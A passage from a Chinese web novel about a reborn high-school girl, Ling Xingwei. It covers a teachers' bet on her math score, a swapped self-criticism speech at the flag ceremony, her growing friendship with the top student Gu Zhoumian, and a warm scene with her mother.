李源问:“赌什么?”
杨鑫扬了扬下巴:“我赌——她下次月考数学单科第一!”
凌杏薇咬了咬唇,一副欲言又止的表情。
第一她倒是能考,但一次性进步这么多名会不会太嚣张了?
杨鑫收到她投来的视线下意识眼神逃避,忍不住摸了摸下巴。
他刚刚夸下海口直接说的第一名,此时此刻也有些心虚。
连李源都震惊了:“你别是疯了吧。”
理科不比文科可以多背,哪是短期内说提分就提分的?
还是第一名这样的位置!
人家数学第一名也不是吃素的呀!说让你超过就超过!
杨鑫轻咳两声,补救了一句:“班级第一。”
语文老师处理好当前的事情,再次出面劝和:“你们俩多大了还这么幼稚,学生都在这呢,别让孩子们看笑话。”
杨鑫话都说到这份上了,卡在这不上不下的也不行。
他转头安抚凌杏薇:“你也别太大压力,是什么实力正常发挥就行。”
说着又温和的语气又强硬起来:“老李,也不是我非得跟你吵,不拿实力说话您不服啊,我要是赢了,你就跟这丫头道歉。”
李源面色好转不少,他摆摆手,也不是很在意的模样:“行了行了,多大点事,输了你就请我吃饭。”
凌杏薇从办公室出来的时候都快要上课了。
李源数落归数落,但经过这一遭对她也重视起来了,给了她几套简单的基础卷让她回去做了拿给他批改。
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杨鑫也不遑多让,给她塞了一些试卷,不过都是些跟李源截然相反的难题。
凌杏薇反而乐得其所,毕竟之前布置的那些家庭作业对她来说还是太简单了。
顾舟眠走在她身后出来,隔着不远不近的距离喊她:“凌杏薇。”
“顾舟眠?你还在啊。”凌杏薇想起刚刚的场景,“噢,我刚刚在办公室不太方便跟你打招呼。”
“对啦,你让我同桌给我的纸条我收到了,就是现在我的手机被没收了一时半会儿拿不回来,短时间内可能加不上你。”
“不急。”顾舟眠淡然摇头,看向她时眼神带了几分若隐若现的担忧,“徐主任在旁边,我应该早一些提醒你的。”
凌杏薇一愣,意识到他这是在自责,赶紧安慰他:“这跟你没有关系的,你一点问题都没有,说到底只能怪我运气不好,今天又太招摇这才刚好被逮了。”
顾舟眠看着她无意识低头挠头发的动作,忍住自己内心想揉乱她头发的举动,眼底不禁染了几分温柔笑意。
“刚刚是发生了什么事?”
凌杏薇一听这话就忍不住跟他分享:“也没有什么大事,两位老师主要还是提拔我。”
顾舟眠顺着她的话问:“提拔?”
凌杏薇说这话还是有些心虚的,毕竟她确实还是被李源批了几句的,此时一听他这话赶紧抬手给他展示手里的几张试卷。
“我今天露了一手,杨老师和李老师都很肯定我的实力呐,当当当!我今天的战果。”
顾舟眠看着她时眸光柔和,轻声夸赞道:“是金子总会发光的。”
快上课了,办公室旁边也没有人逗留了,凌杏薇觉得奇怪,鬼使神差开口问道:“你为什么觉得我会是金子?”
虽然凌杏薇并没有向他掩饰自己的实力,但毕竟她往年往月的成绩都摆在那里。
事实证明凌杏薇就是一直在年级倒数泡坏的存在,顾舟眠为什么对她的实力毫不怀疑?
“你上次给我的那道数学难题。”顾舟眠平静回答。
“大家一般都不会去研究难题。”他淡然扫了她一眼,“你既然会看这种题目,就说明你……”
凌杏薇被他轻描淡写的这一眼和说话间有规律的停顿营造出的紧张氛围震得喉咙发紧,轻轻吐出两个字:“什么?”
“对学习有兴趣。”
“哈?”
顾舟眠正经认真的表情却不像在开玩笑:“兴趣是最好的老师。”
“那你解出来那道题了吗?”
这句话一说出口,凌杏薇脑海里猝不及防浮现出她之前在走廊上拒绝唐叙朝却把手伸向顾舟眠的尴尬画面。
她现在很像是动机不纯想尽办法在向学霸搭讪找话题的追求者啊!
上课铃刚好响起,凌杏薇大脑宕机,脱口而出就是解释:“我不是催你的意思!我只是,只是……”
“没事。”顾舟眠转身撂下一句话,提醒她,“上课了。”
凌杏薇缓缓吐出剩下的话:“只是顺嘴一说。”
顾舟眠转身离开的脚步一顿,回头看了她一眼:“嗯,题目解出来了,放学可以找我,我教你。”
顾舟眠解出来了?!
而且还愿意牺牲私下的休息时间教她怎么解题!
看来顾舟眠也不是大多数人刻板印象里的那样生人勿近嘛!
不过,是她的错觉吗?顾舟眠刚刚好像笑了?
12. 开完这个盲盒又要开那个
吴春花刚好从隔壁班主任办公室里出来,看到还欣喜若狂站在原地的凌杏薇。
“上课了还不回教室去?刚好你在,顺便帮我把作业本捎过去吧,我一个人带不动这么多。”
吴春花说着又回身推开办公室的门,凌杏薇走进去帮她搬了一打作业本,跟在吴春花身后往五班的方向走去。
两栋教学楼是连在一起的,从这栋楼的拐角往凌杏薇所在的五班走,会经过一班。
一班的学习氛围确实是高二年级最好的,凌杏薇抱着作业本跟在吴春花身后大摇大摆从一班经过时,往里面随意看了几眼,清一色都是在埋头苦算解题的身影。
顾舟眠似有所觉抬头,就看见一个扎着马尾的少女背影从窗外走过。
马尾松松垮垮扎着,是仿佛轻轻伸手一扯又能恢复披头散发的随性造型。
夜色如墨,校园内的路灯亮起,寂静无声的黑夜里,四楼的教室灯陆续熄灭。
一班的教室内,宋棋单肩背起书包,回身看向还没开始收拾东西的顾舟眠。
他疑惑道:“顾舟眠,你放学还不走呢?”
顾舟眠抬眸看向他,手中翻书的动作没停:“我等等就走。”
“好吧,原本还打算跟你一起走一段呢,看来是不行了,那我先走了哈!”
宋棋说着就往教室外走,不一会儿他辨识度极高的声音就从教室外传来。
“哟,同学,找顾舟眠吗?他在里面。”
宋棋说着就回头往教室里随性一指,想给凌杏薇示意顾舟眠所在的位置,却看见刚刚还端正看书的顾舟眠已经收拾好了书包朝他们走来。
宋棋:“……”
不是,哥们你怎么还有两副面孔呢?
凌杏薇从门口探出脑袋,笑颜灿烂:“顾舟眠,你准备走了嘛?”
宋棋立马露出八卦的表情,一脸揶揄地朝顾舟眠使了个眼色。
随后扬起声音说:“那我先走了啊!”
宋棋说着就往楼下走,一步三回头,笑得十分揶揄欠揍。
顾舟眠卸下书包,一副若无其事的样子。
“先给你讲完题目吧。”
等她们讲完题目准备关灯下楼时,校园里已经空荡无人。
凌杏薇看着顾舟眠拎起书包就走的架势,赶紧将人喊住:“顾舟眠,你还落了东西没拿。”
“那是我明天的演讲稿,已经熟背了,不用带走。”顾舟眠的声音在偌大的空教室忽远忽近回荡着。
凌杏薇低头看着被顾舟眠摆放在桌面上字迹工整的草稿本,猛然想起来自己明天跟顾舟眠竟然是同一天上台发言。
不过她是反面教材念检讨,顾舟眠是优秀学生代表进行国旗下的讲话。
草稿都写得这样工整好看。
凌杏薇灵机一动,眉眼带笑问已经站在门口看着她的顾舟眠:“这个可以借我参考一下吗?”
“好。”顾舟眠没问为什么,答应得干脆,仿佛这是什么无关紧要的事情。
两人并排往校门口走,经过几番来往交流,凌杏薇也跟顾舟眠慢慢熟稔起来。
凌杏薇不经意间开口跟顾舟眠闲聊:“顾同学,你平时都这么晚走嘛?”
顾舟眠嗯了一声,凌杏薇习惯了他冷淡的性子,继续自顾自地解释着。
“刚刚给我同桌讲解题目没注意放学的时间,来得晚了,还担心你久等了呢。”
凌杏薇说着还有些愧疚,抓了抓书包肩带,快步走到了他面前的台阶上,顾舟眠被拦了路,立刻停下脚步来。
他眸色淡如琉璃,看人时又清冷疏离,很有距离感。
但凌杏薇好像完全没在意,她笑颜明媚,摊开手掌向他伸出手心里的两颗糖。
“你吃糖吗?”
她眼神炽热坚定,笑起来时杏眼弯弯,眼底仿佛闪烁着万千星辰,明媚春光洒落,仿佛永远都能给人带来阳光般温暖的力量。
顾舟眠眼神闪烁了一下,抿了抿唇,这才低头看向她手里那两颗糖,过了一会儿取走了其中裹着粉色包装纸的那粒糖果。
又轻声道谢:“谢谢。”
凌杏薇收回手,拆开另外一颗橙色包装的水果糖送进嘴里。
甜甜的桃子果香从舌尖味蕾蔓延开来,凌杏薇心满意足的眯了眯眼睛,转头望向顾舟眠。
顾舟眠手指不经意地摩挲着手中的糖果,一抬头就撞上凌杏薇的目光。
凌杏薇满怀希冀望着他,一双圆溜溜的大眼睛忽闪忽闪轻轻眨着,是在期待他的反馈。
顾舟眠那一瞬间内心竟然升腾起几分慌乱来,他拆包装纸的动作流露出些许匆忙,囫囵间差点直接将糖给咽了下去。
橙子的清甜果香瞬间涌入他的口腔,丝丝甜蜜的味道让顾舟眠不习惯地蹙了蹙眉,含着糖块缓缓滑动着喉结。
但他还没有忘记回答凌杏薇:“挺甜的,很好吃。”
没得到想要的回答,凌杏薇不免面露疑惑。
她犹疑出声:“你的是什么味道?”
“……”顾舟眠下意识想回答橙子,但又迅速发现不对劲,他低头看向手里那个半透明的粉色包装袋,有些不确定,“橙子?”
“原来你的是橙子啊。”
“这个糖果特别适合用来开盲盒,你会抽到什么味道不知道,但单看颜色,你想要的味道一定无法拿到。”
凌杏薇说着举起她手里的橙色包装袋,笑得狡黠又调皮。
“我的,是桃子。”
这一路上凌杏薇都没让两个人之间的氛围冷下来。
她走在前面,时不时背过身来跟顾舟眠讲话,偶尔两个人并肩时她也会一边说一边看顾舟眠的反应,顾舟眠的回答都很言简意赅,但看得出来是在认真倾听她说的每一句话。
凌杏薇其实认为顾舟眠跟传言中的高冷学霸的形容并不那么贴切。
她觉得顾舟眠平时冷淡是性格使然,为人其实挺热心的,问的题目他都会很耐心的解答。
光耐心这一点,在凌杏薇这里顾舟眠就已经超越很多人了。
就比如说她自己吧,有的时候毛毛躁躁的,一道题目如果讲很多次会不耐心还烦躁。
所以她很敬佩顾舟眠,甚至在解出奥数题之后,她这种敬佩的情绪就转为崇拜了。
进了同一个小区,到两栋楼面前凌杏薇终于停下正在说的话题,跟顾舟眠挥了挥手。
“再见,今天谢谢你教我写题。”
顾舟眠依旧含蓄寡言:“明天见。”
顾舟眠直至看着凌杏薇进了隔壁那栋楼里,这才转身进了面前的楼栋。
电梯旁有一个垃圾桶,顾舟眠抬手向上摊开一只手,里面攥着的是刚刚还未丢掉的糖果包装纸。
开糖果盲盒吗?
其实无论抽到什么味道,对于他来说,什么味道都很甜。
他其实,舍不得吃的。
顾舟眠将手伸到垃圾桶上方,但就在要将手掌朝下翻面扔垃圾时,他又突然反悔了。
他忽然收回手,将放着包装纸的手收紧。
电梯刚好到达一楼,这回顾舟眠没再犹豫,他径直走进了电梯里
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。
次日,星期一。
余瑶看着旁边顶着两个黑眼圈半梦不醒的凌杏薇,凑过来面色担忧地问。
“你还OK吗?要不要等会儿大课间找班主任请个假啊?”
凌杏薇撑着下巴的手一滑,脑袋一整个往课桌上倒。
余瑶吓坏了,赶紧去扶她:“我的天哪,你这是睡得多晚啊?”
凌杏薇伸手比了个OK的手势,缓缓从桌面上抬起头来。
语气极其幽怨:“三点。不过没什么大碍,请假是请不了了,我今天还有国旗下的讲话要发言,不便请假,否则就要被徐某某制裁了。”
余瑶没忍住被她这副样子逗乐了:“杏薇你好幽默。”
凌杏薇再次趴下了,轻声叹息:“害。”
大课间的下课铃响起,广播里响起升旗仪式的音乐,众人纷纷起身往升旗台前走去。
凌杏薇拿起手写稿跟着队伍往外走去。
人群拥挤,一个女生与凌杏薇相撞,纸张落地,那个女生又慌忙捡起那张手稿朝她道歉。
时间匆忙,凌杏薇只来得及看清那个女生的脸,那个女生就消失在下楼的人群里。
女生长相俏丽清纯,跟人对视时神情怯懦,下意识进行慌乱躲闪。
但凌杏薇仅靠这短暂的一眼就想起来她是谁了。
女生那双似鹿般的黑瞳干净得仿佛没有杂质,令人过目难忘。
那是之前在教室时被孙倩她们欺负的女生。
徐光明站在主席台上一通慷慨陈词,下面的同学们皆是一副兴致缺缺的模样。
凌杏薇趁着徐光明讲废话的时间摊开手里昨晚熬夜提前写好的手稿,当即就愣住了。
这哪里是她连夜写好的检讨!
这分明就是白纸一张!
是刚刚那个女生故意撞她换走了她的检讨书!
是孙倩威胁她这样做的吗?
目的就是为了看她在全校师生面前丢脸出丑?
凌杏薇不由得冷笑出声。
她原以为经过上次天台的警告孙倩可以多消停一段时间,却不曾想孙倩还是贼心不死,竟然妄图三番四次用这种下三滥的招数来打扰她日常的学习生活。
开什么玩笑啊,她又没有刻意去背检讨书的内容,现在白纸一张,她要怎么在全校师生面前念啊?
此时此刻,徐光明恰好拿着话筒义正言辞说到她。
“高二五班的凌杏薇同学违反校规带手机进校,并公然在学校里使用手机,现借此次国旗下的讲话进行全校检讨,希望各位同学引以为戒!”
凌杏薇只好攥着手心里那张空空如也的白纸,低着头硬着头皮往主席台上走。
站在主席台上能将台上所有人的小动作一览无余,尽收眼底。
站在高处环视四周,凌杏薇莫名有了一种一人之上万人之上的感觉,心底那仅剩的一点紧张也随之消失殆尽了。
凌杏薇调整了一下面前的话筒,自信又随意地笑了笑,看向那张没有任何字迹的白纸,缓缓开口。
“尊敬的老师,亲爱的同学们。我是高二五班的凌杏薇,很抱歉今天站在这里进行本次经过深刻反思后的检讨。”
与此同时,凌杏薇脑海浮现的却是昨晚挑灯夜读赶着写检讨时参考的演讲稿。
【尊敬的老师,亲爱的同学们。我是高二一班的顾舟眠,今天很荣幸站在这里进行本次国旗下的讲话。】
站在一旁的徐光明:“......”
怎么听着不对劲,但是感觉又没有毛病的样子?
13. 真的是普通朋友吗?
“近日,我因为带手机进校违反校纪校规,受到了徐主任的责罚,对此我表示深重的抱歉!”
......
“最后,我深刻意识到了自己的错误,并恳切希望你们向我学习。”
台下众人皆是一愣。
“我的发言完毕,感谢大家的聆听。”
众人反应过来,爆发出热烈的掌声!
是学习她犯错还是学习她知错就改?
她这波钻文字漏洞钻得好,徐光明根本不知道从何训起。
他恼羞成怒道:“去去去!念检讨还挺光荣了是吧?讲完了就回自己队伍里去!往后引以为戒,不要再犯违反校纪校规的事情!”
凌杏薇俏皮地耸耸肩膀,小跑到自己班级的位置上站好。
前面的余瑶转过头来无声地朝她竖了个大拇指,凌杏薇把垂落在额前的碎发拨弄到耳后,两个人不约而同地笑了起来。
旁边的吴春花在队伍中走动着,眼看着马上走到她们这,两个人赶紧收敛起脸上笑意,板板正正站好听上面的徐光明说废话。
另外一边的高二一班队伍里。
前面的宋棋闲不住,左顾右盼间回头瞥见身后的顾舟眠看着手里的稿子一副若有所思的表情。
他有些不可思议:“你也有紧张到不停地看稿子的时候?”
顾舟眠收起那张手写稿,语气淡然:“没有紧张。”
“哦~”宋棋一副“我懂了”的表情,他比了个加油的手势,“加油小眠眠!爸爸永远支持你!”
犯贱总有人来治,宋棋恰好就是这个运气不好被抓去杀鸡儆猴的那个。
话音刚落,他就被一班的班主任逮了拎到第一排去站着了。
顾舟眠的世界清静下来,他再次摊开手中那张“演讲稿”。
看着上面字形圆润可爱但明显很潦草的字迹,顾舟眠不由得回忆起自己刚刚与那位行迹诡异的女生相撞的场景。
他去了趟办公室出来得比较晚,没有跟队伍走,前往升旗台时路上空旷很多,他就是这个时候被一个行踪匆忙甚至顾不上看路的女生撞到的。
这张纸就落在两人中间的地面上。
但对方在看清他的相貌之后竟然连东西都顾不上捡,一整个落荒而逃。
这番明显不合常理的举动引起顾舟眠的注意,他又不是什么洪水猛兽。
于是,顾舟眠捡走了那张写满字的手稿。
直到站在操场低头一看,这才了然这份手稿的主人是谁。
可理清了整个过程,凌杏薇也刚好上台拿着顾舟眠的演讲稿开始做检讨了。
凌杏薇在台上念“检讨”的自信模样,与记忆中的某个身影完美重合。
顾舟眠眸光闪烁了一下,眼底荡起平日里不会轻易表露的波澜来。
徐光明在台上慷慨激昂地讲了一大段脱稿发言,随后就是顾舟眠的演讲环节了。
台下的凌杏薇还在思索自己借走了顾舟眠的演讲稿对方忘词了怎么办,抬眼就看见顾舟眠已经拿着一张手稿出现在台上。
顾舟眠看着手里稿子的第一句,不经意间弯了弯唇角,眼底是不易察觉的宠溺笑意。
【嗨咯台下的观众朋友们,大家上午好!我就是来自高二五班的那个凌杏薇!】
“尊敬的老师,亲爱的同学们,大家上午好,我是来自高二一班的那个顾舟眠,今天很荣幸代表高二年级全体学生站在这里向全校同学们分享我的学习经验。”
......
台下的宋棋:这两人的稿子怎么听着像是出自一人之手?
台下众人:学霸就是学霸,演讲的内容就是有深度!
凌杏薇听着愣了愣,这内容,怎么这么熟悉?
徐光明则是一副十分满意的模样,面上是肉眼可见的欣赏之情。
顾舟眠演讲完下去了,话筒又回到了徐光明面前。
“刚刚顾舟眠分享的学习经验都很有借鉴意义,希望同学们好好学习,以此为榜样,奋斗进取,而不是任人为师……”
凌杏薇:“……”
此时此刻报她身份证岂不是更直接?
大课间的升旗结束,大家原地解散。
凌杏薇早已想好了对错打算去六班会一会孙倩,正准备跟余瑶说,不远处却忽然响起她的名字。
“凌杏薇!”
人流不断往同一个方向涌动,顾舟眠朝她挥了挥手。
两人同时静止在原地,周遭太喧嚣嘈杂,心平气和时反而能将对方的每一个举动更清晰地尽收眼底。
顾舟眠朝她跑来的这几秒间,凌杏薇看见了旁边欲言又止却又很快沉默下来的余瑶和叫嚣着追在顾舟眠身后的宋棋。
凌杏薇忽然笑了起来。
看来她重生回来的高中生活将会十分精彩有趣。
但很快凌杏薇就笑不出来了。
顾舟眠将她丢失的手稿递到她面前,问:“演讲前捡到的,我猜应该是你遗失的。”
里面都自我介绍是凌杏薇了,当然是她跑不了。
凌杏薇一脸窘迫地接过那份名为耻辱的检讨书,难得沉默寡言起来。
“这么重要的东西收好会更安心一点。”
凌杏薇听着心里更不是滋味了:“你以后有什么我能帮得上忙的地方一定不要不好意思开口,老是给你添麻烦我真是惭愧......”
顾舟眠安抚她:“不麻烦,没有稿子还能临场应变讲得这么好,我们都应该向你学习。”
宋棋在旁边一副见了鬼的表情。
学习什么?向凌杏薇学习临场应变能力?
你是不是忘记了自己曾经无稿演讲帮上一届的学长救场的英勇事迹了?
到底是谁学谁啊?真是倒反天罡!之前向你请教问题的时候怎么不见你这么谦虚?
宋棋在心底十分嫌弃地吐槽,旁边的余瑶凑过来跟他搭话。
“唉,同学,你觉不觉得他们两个还挺般配的?”
宋棋:“......般,配???”
宋棋大脑飞快运转,一时之间心情有些复杂。
他被偷家了?
他兄弟真的要被拐去吃恋爱的苦了?
他兄弟这桃花旺盛但不解风情的木头终于是开窍了?
他想象力极其丰富,短短几秒钟就幻想出了两个人从相识到相恋所有可能的过程。
但是他这番胡思乱想两位主人公是完全不知情的。
临近上课时间,顾舟眠听着耳边凌杏薇今天上去念检讨时的感言和她并排走在前面往教室走去。
余瑶一脸若有所思,跟着同样落单的宋棋一起并排走在后面。
宋棋一脸探究,还是百思不得其解:“你说凌杏薇什么时候得手的啊?我家舟眠平日里多文静一个孩子!看看现在成了什么样子?”
这话一出余瑶听着可就不乐意了,她下意识反驳道:“什么意思啊?明明是顾舟眠对我家杏薇图谋不轨的好不好!”
宋棋一副家长做派:“这多明显的事儿啊!我家舟眠平时都不跟女生讲话的!”
余瑶不遑多让:“你还说不是!事出反常必有妖!我家杏薇平时人缘可好了,这就是正常同学之间的交流!果然心脏的人看什么都脏!”
宋棋挺了挺胸,站得笔直,企图用身高击败余瑶。
“刚刚明明是你先造谣的!”
“是你!”
“是你才对!”
凌杏薇和顾舟眠走远了才发现他们两个没跟上。
凌杏薇回头喊道:“你们两个干嘛呢?”
余瑶和宋棋同时回头看向她,异口同声道:“你们不会早恋了吧!”
凌杏薇愣了愣,没想到他们会想到这一层去,反应过来还有些无可奈何。
“啊?你们在想什么啊,我们就只是普通同学关系而已啊。”
两个人似信非信:“真的?”
凌杏薇摊了摊手,反问道:“难道两个异性走在一起就一定是情侣关系吗?你们两个现在不也并肩走在一起,难道你们就是情侣?”
余瑶和宋棋对视一眼,随即很快各自瞥开目光将脑袋摇成拨浪鼓。
顾舟眠也补充道:“两个人可以有很多组合形式,是同学,是朋友,是知己,是亲人,最后才会是灵魂伴侣,是爱人。”
“也有可能是正处在懵懂暧昧期没有确认关系的“普通朋友”!”宋棋说着冲上来勾着顾舟眠的脖颈将他往一边带。
宋棋压低声音问:“你小子出息了啊,上次放学我就觉得不对劲了。说!什么时候背着爸爸我跟小姑娘卿卿我我了?害的我还厚着脸皮替你说话,丢脸丢大发了!”
顾舟眠容颜俊秀,不笑时总给人一种生人勿近的冷淡疏离感。
也不知道凌杏薇为什么会觉得自己很好相处。
顾舟眠脑子里想着其他的事情,嘴上还不忘敷衍一句面前的好兄弟。
“我们确实只是普通朋友。”
宋棋口中的那句“等会中午请我吃饭”一听到这句话立马咽了下去。
“什么普通朋友啊?”宋棋表情丰富,笑得一脸揶揄,“是关系暧昧的普通朋友,还是,关系亲密可以kisskiss的普通朋友?”
宋棋很会捕捉重点。
他可是记得凌杏薇刚刚说的是普通同学,怎么
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到顾舟眠这里就高了一级是普通朋友了?!
可宋棋不知道。
还有一种普通朋友,是单向暗恋。
他是暗恋凌杏薇的普通朋友。
顾舟眠嗓音冷冽:“爱信不信。”
上课铃响,凌杏薇跟余瑶条件反射般往教室跑。
余瑶:“快快快!春花的课!”
凌杏薇眼底含笑:“你也开始喊春花了。”
她说着就跟着余瑶往教学楼的方向跑了几步,忽然想起什么似的回头看顾舟眠。
“顾舟眠!上课了,我们先走啦!”
顾舟眠轻启唇瓣,微风拂过,一声“好”隐没在风中,也不知道她有没有听见。
就像暗恋,爱意如风,我将它藏进风里,可是这风太大了,这感情太过于隐晦了,不知道你能不能感受到。
我害怕它被你知道,又害怕你不知道。
不过,没关系,风到了,你总该是知道的。
顾舟眠回头看向宋棋:“谁先到教室谁中午请吃饭。”
宋棋的胜负欲当即被激发:“那必然是我啊!”
顾舟眠清冷的嗓音沾染上些许阳光的温度:“我没输过。”
宋棋不服:“我今天非灭一灭你小子这嚣张气焰!”
到底还是十七八岁的少年,哪怕再冷淡的性子,当青春身影掠过校门,踩着播放着上课铃的节拍冲向教室,依旧也是少年意气,活力盎然。
夜色阑珊,外面小雨蒙蒙,又到了下晚自习的时间。
今天的雨来得很突然,凌杏薇没有带伞,余瑶想送她走一截,但是余瑶只跟她同一部分的路,后面的路她要么一个人淋回去,要么就是余瑶送她到家。
凌杏薇算过时间,后面半截不重复的路就算是一直不停走也要走十分钟。
尽管跟余瑶认识了一段时间也混熟了,但凌杏薇还是不想麻烦她送完自己又往回折返,来来回回多走这么长的路。
中间班级的教室陆陆续续关了灯,顺着走廊看过去,两个高瘦的身影站在走廊上向她们挥手。
“嗨!那边的两位同学有伞没?”
两个人走过去一问,结果他们那边只有顾舟眠有一把伞。
敢情是还想问她们借借看还有没有多余的伞。
趁着余瑶和宋棋讨论用伞方案时,凌杏薇探头往楼下六班的位置看了一眼。
那里漆黑一片,六班的人全部走光了。
等凌杏薇面色凝重从沉思中回神,他们四人的用伞方案已经规划好了。
宋棋和余瑶跟他们都有一段共同要走的路,打听清楚几个人大致的家庭住址后,在宋棋的强烈要求之下,原来的两人行变成了四人行。
计划是凌杏薇跟余瑶共伞走一段,后期跟宋棋换位置,跟顾舟眠走一段。
宋棋家比余瑶家远,就先送余瑶回家,再借余瑶的伞自己回家。
分岔路口,四个人躲在屋檐下,凌杏薇要跟宋棋交换位置。
宋棋已经从顾舟眠的伞下去到了屋檐下躲雨,凌杏薇也顺势从余瑶的伞下出来。
屋檐的雨滴倾斜滴落,顾舟眠眼疾手快地抬手用手背遮了一下。
水珠打湿他的手背,顺着他骨节分明的手指划到指尖。
凌杏薇没有注意到他的举动,余瑶手中的伞被宋棋抢走了,两个人打打闹闹走出屋檐下继续回家的路途。
凌杏薇看着两人走远,回眸朝他扬起一个笑来。
“雨好像没那么大了,我们也走吧。”
雨声渐弱,取而代之的是另外一道心若擂鼓的声音,越来越大,随着雨声残响滴在他心间。
长街小雨犹不止,双人共撑一伞行。
顾舟眠目不斜视,身体保持着正常交往的安全距离,可是拿着伞的那只手却在不经意间悄悄偏向身边笑靥如花的活泼少女。
到了两栋楼即将分别的地方,凌杏薇脱离顾舟眠的伞下小跑到自己所在的楼栋下躲雨。
她朝顾舟眠挥了挥手,笑容灿烂道:“谢谢顾同学共伞之恩!我回去啦,明天见噢!”
输入密码锁进门,凌杏薇开灯的动作一顿。
念检讨书这样丢脸的事情虽然已经过去了,但她的手机还在徐光明那里。
她一个周末都在帮赵欢一起出摊赚钱还有刷题,平时的零花钱也是给现金,不碰手机倒也是件无伤大雅的事情。
但她差点忘记了一件事。
前世,她周末不在学校的这两天,孙倩依旧会联系她给她发消息。
想到今天那个故意撞她调包她手稿的女生,凌杏薇蹙了蹙眉,顿觉自己重生以来对孙倩还是警告得不够到位。
14. 拿回手机,选科意向
开锁推门,凌杏薇没有立刻进屋,只探出一颗脑袋往里看。
客厅的灯没开,只有她身处的玄关处亮着一盏小灯。
猜想到赵欢应该是已经睡了,凌杏薇原本想开客厅灯的手收了回来,借着玄关处微弱的灯光半摸着黑走到厨房外面开了厨房的灯。
又蹑手蹑脚走进厨房想拿赵欢每晚都会提前为她准备好的热牛奶。
正当她轻车熟路从微波炉里端出热牛奶时,厨房外传来赵欢的声音。
“薇薇啊。”
凌杏薇端牛奶的动作一顿:“妈妈,吵醒您了吗?”
赵欢穿着睡衣站在厨房门口,眼底一片清明,不像是已经睡着后又醒来的样子。
赵欢摇了摇头,面色和蔼温柔:“没有呢,妈妈还没睡着,特地在这等着你回来呢。”
凌杏薇一听便急了:“您每天出摊起得早,晚上早些睡,不用特地等我的。”
“我啊等会就睡,这不是今天你们教导主任今天打电话给我嘛,我就想着等你回来跟你说了再去睡。”
凌杏薇忐忑不安地拽了拽衣摆。
都不敢抬头看赵欢的眼睛:“妈妈,我知道错了。”
“错哪了?”赵欢双手抱胸,好以整暇看着她。
“我……不该瞒着您把手机带到学校去,导致现在手机被没收了……”
“导致我们本就不富裕的家庭雪上加霜……”凌杏薇说到最后声音越来越小,整张脸几乎是要往地里埋。
说着说着,一部熟悉的手机忽然映入眼帘。
凌杏薇原本低到尘埃的脑袋蹭地抬起来。
“妈妈!您去要回来了?!”
赵欢收敛起短暂强装的严肃,面色温柔地摸了摸凌杏薇毛茸茸的脑袋。
“嗯呐,手机给你拿回来了,下次要小心一点咯,不要再被老师抓啦。”
赵欢没有责怪凌杏薇带手机去学校,只是让她小心一点。
凌杏薇心中涌起一些愧疚懊恼的情绪,她眼睫微垂,掩下眸底情绪:“妈妈,对不起,我给您添麻烦了。”
“你这孩子,说什么胡话?去一趟学校又不要我多长时间的,你从小就懂事,哪里给我添过什么麻烦?”
赵欢眼底盛满了浓浓的爱意:“我呀,也刚好趁这个机会去你们学校参观了一下,只是你们当时在上课就没打扰你。”
“不过你这丫头确实有错!手机被没收为什么不第一时间告诉我?周末两天时间没玩手机就陪着我出摊,其他时间一个人闷在房间干什么?”
凌杏薇面色动容,上前一步,一声不吭的扑进赵欢怀里。
好半天,凌杏薇这才闷闷出声:“在房间写题目。”
赵欢见她这样,忍不住叹了口气:“你爸走的早,妈妈没有什么能耐,只能尽力赚钱供你读书,你不嫌弃我这个母亲拖后腿我就很开心啦!”
凌杏薇眨眨眼,强忍着在眼眶打转的泪水,扑在她怀中压下哽咽闷声道:“我爱您,妈妈。”
赵欢眸中含笑,轻轻拍了拍凌杏薇的背,语气温和道:“你这傻孩子,妈妈也爱你呀,快去把牛奶喝了,早点睡觉吧。”
凌杏薇从她身前退开,端起牛奶喝了一口,像是想起什么似的嘱咐道:“妈妈你也要早点睡,明天早起呢。”
“妈妈知道了,一定听你的。”赵欢一口应下。
“对了,这几天的早餐你朋友还喜欢吗?我最近呀,做了其他的一些餐点,薇薇,你朋友要是吃不惯可以跟我说,我换着做也行。”
凌杏薇闻言,眼底笑意褪去几分。
之前的早餐她都是带给唐叙朝的,前世她年少无知,一意孤行错把唐叙朝当成宝,却不料对方一直对她没有别的感情,一心都是路茴。
这一世她既然已经知道了真相,自然不会再重蹈覆辙,什么情情爱爱的哪里有前途重要?
都重生了,谁还谈恋爱啊!
当然是要改命啊!
不过这个早餐她倒是可以带给余瑶吃,今天的大肉包余瑶就很喜欢呢!
赵欢做的早餐很好吃,与其将早餐浪费给对她好意一点不领情的唐叙朝,凌杏薇自然更愿意把好东西给真正对她真诚的好朋友。
至于路茴,凌杏薇可是清楚记得前世她送给唐叙朝的早餐全部都进了路茴的肚子。
给唐叙朝送早餐确实是她自作多情的一环,唐叙朝这样的处理她只当自作自受。
可路茴明知唐叙朝不喜欢她,却还怂恿她给唐叙朝送早餐,口口声声说唐叙朝对她有心意有感情。
这路茴是何居心就难说了。
凌杏薇原本是打算在这件事上整一整路茴的,但先前既然已经跟唐叙朝说清楚了,送早餐这件事是不可能了。
但凌杏薇肯定不能跟赵欢说这些。
凌杏薇笑嘻嘻地凑上去跟赵欢贴贴:“我朋友很喜欢吃,还夸您手艺好呢!她们都可羡慕我有一个像您这样心灵手巧又美丽大方的妈妈了!”
赵欣乐的笑开了花,轻轻拍了拍她,正色道:“快放下书包去洗漱睡觉吧,平时上学不要做题熬的太晚了。”
凌杏薇甜甜一笑:“知道啦妈妈!”
赵欢回了房间,凌杏薇也将牛奶一饮而尽,将玻璃杯洗干净之后拿着失而复得的手机回了房间。
重新将手机开机,几天没看消息,一堆未读消息弹了出来。
凌杏薇简单看了看微信,简单回复了一下,又跳到Q.Q去回复别人的消息。
她还没忘记之前答应帮[会扬帆起航]看的奥数题呢。
她从书包里一打草稿纸中翻出那张顾舟眠在她解题思路下写出来的题目,拍好照就发给了对面。
对面可能刚好在看手机,几乎是秒回。
会扬帆起航:[谢谢姐姐!]
杏花微雨:[还没睡嘛?]
这条消息发过去时,凌杏薇突然想到什么似的,下意识往对面那栋楼看去。
书桌前的少年正低头看着面前的书本,手中不经意间转着笔,像是在思考什么问题。
可能是因为年纪相仿又同为年级第一的缘故,凌杏薇总是会下意识把顾舟眠代入屏幕对面的这个男生。
两个同样努力的学生,在无数个黑夜中挥毫泼墨成就了一次次的好成绩,私底下也会特别累的吧。
凌杏薇其实是能感同身受的。
站在云巅之上,受众人仰望,承受了多少的重视,就要承担多少的压力。
父母只在意那个令人欣喜的结果,在同学艳羡的眼神里,你不能抱怨你的苦难,因为你的辉煌之下,隐藏着无数人的丑恶嫉妒。
这背后的百般心酸苦楚,皆由自己默默咽下。
